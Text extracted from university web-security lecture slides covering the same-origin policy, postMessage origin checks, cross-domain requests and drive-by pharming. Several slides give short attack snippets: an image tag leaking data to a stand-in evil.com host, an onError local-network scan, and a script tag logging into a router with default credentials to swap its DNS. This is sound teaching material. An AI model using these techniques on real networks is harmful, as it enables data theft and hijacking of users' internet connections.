![Page 69: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/69.jpg)
And If The Check Is Wrong?
slide 69
![Page 70: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/70.jpg)
The Postman Always Rings Twice
A study of postMessage usage in top 10,000 sites
2,245 (22%) have a postMessage receiver 1,585 have a receiver without an origin
check 262 have an incorrect origin check 84 have exploitable vulnerabilities
• Received message is evaluated as a script, stored into localStorage, etc.
slide 70
[Son and Shmatikov]
![Page 71: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/71.jpg)
Incorrect Origin Checks
slide 71
[Son and Shmatikov]
![Page 72: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/72.jpg)
Library Import
Same origin policy does not apply to directly included scripts (not enclosed in an iframe)
• This script has privileges of A.com, not VeriSign– Can change other pages from A.com origin, load more
scripts
Other forms of importing
<script type="text/javascript"
src=https://seal.verisign.com/getseal?host_name=A.com>
</script>
slide 72
VeriSign
![Page 73: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/73.jpg)
SOP Does Not Control Sending
Same origin policy (SOP) controls access to DOM
Active content (scripts) can send anywhere!• No user involvement required• Can only read response from the same origin
slide 73
![Page 74: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/74.jpg)
Sending a Cross-Domain GET
Data must be URL encoded<img src="http://othersite.com/file.cgi?foo=1&bar=x
y">Browser sendsGET file.cgi?foo=1&bar=x%20y HTTP/1.1 to
othersite.com
Can’t send to some restricted ports• For example, port 25 (SMTP)
Can use GET for denial of service (DoS) attacks• A popular site can DoS another site [Puppetnets]
slide 74
![Page 75: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/75.jpg)
Using Images to Send Data
Encode data in the image’s URL<img src=“http://evil.com/pass-local-
information.jpg?extra_information”>
Hide the fetched image <img src=“ … ” height=“1" width=“1">
slide 75
Very important point: a webpage can send information to any site!
![Page 76: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/76.jpg)
slide 76
Drive-By Pharming
User is tricked into visiting a malicious site Malicious script detects victim’s address
• Socket back to malicious host, read socket’s address
Next step: reprogram the router
[Stamm et al.]
![Page 77: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/77.jpg)
Finding the Router
Script from a malicious site can scan local network without violating the same origin policy!• Pretend to fetch an image from an IP address• Detect success using onError
<IMG SRC=192.168.0.1 onError = do()>
Determine router type by the image it serves
slide 77
[Stamm et al.]
Basic JavaScript function, triggered when error occurs loading a document or an image… can have a handler
ServerMaliciouswebpage
Firewall
1) “show me dancing pigs!”
2) “check this out”
Browser
scan
scanscan
3) port scan results
![Page 78: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/78.jpg)
JavaScript Timing Code (Sample)
When response header indicates that page is not an image, the browser stops and notifies JavaScript via the onError handler
<html><body><img id="test" style="display: none"><script> var test = document.getElementById(’test’); var start = new Date(); test.onerror = function() { var end = new Date(); alert("Total time: " + (end - start)); } test.src = "http://www.example.com/page.html";</script></body></html>
slide 78
![Page 79: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/79.jpg)
slide 79
Reprogramming the Router
Fact: 50% of home users use a broadband router with a default or no password Log into the router <script src=“http://admin:[email protected]”></script>
Replace DNS server address with the address of an attacker-controlled DNS server
[Stamm et al.]
![Page 80: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/80.jpg)
slide 80
Risks of Drive-By Pharming
Completely 0wn the victim’s Internet connection Undetectable phishing: user goes to a financial
site, attacker’s DNS gives IP of attacker’s site Subvert anti-virus updates, etc.
[Stamm et al.]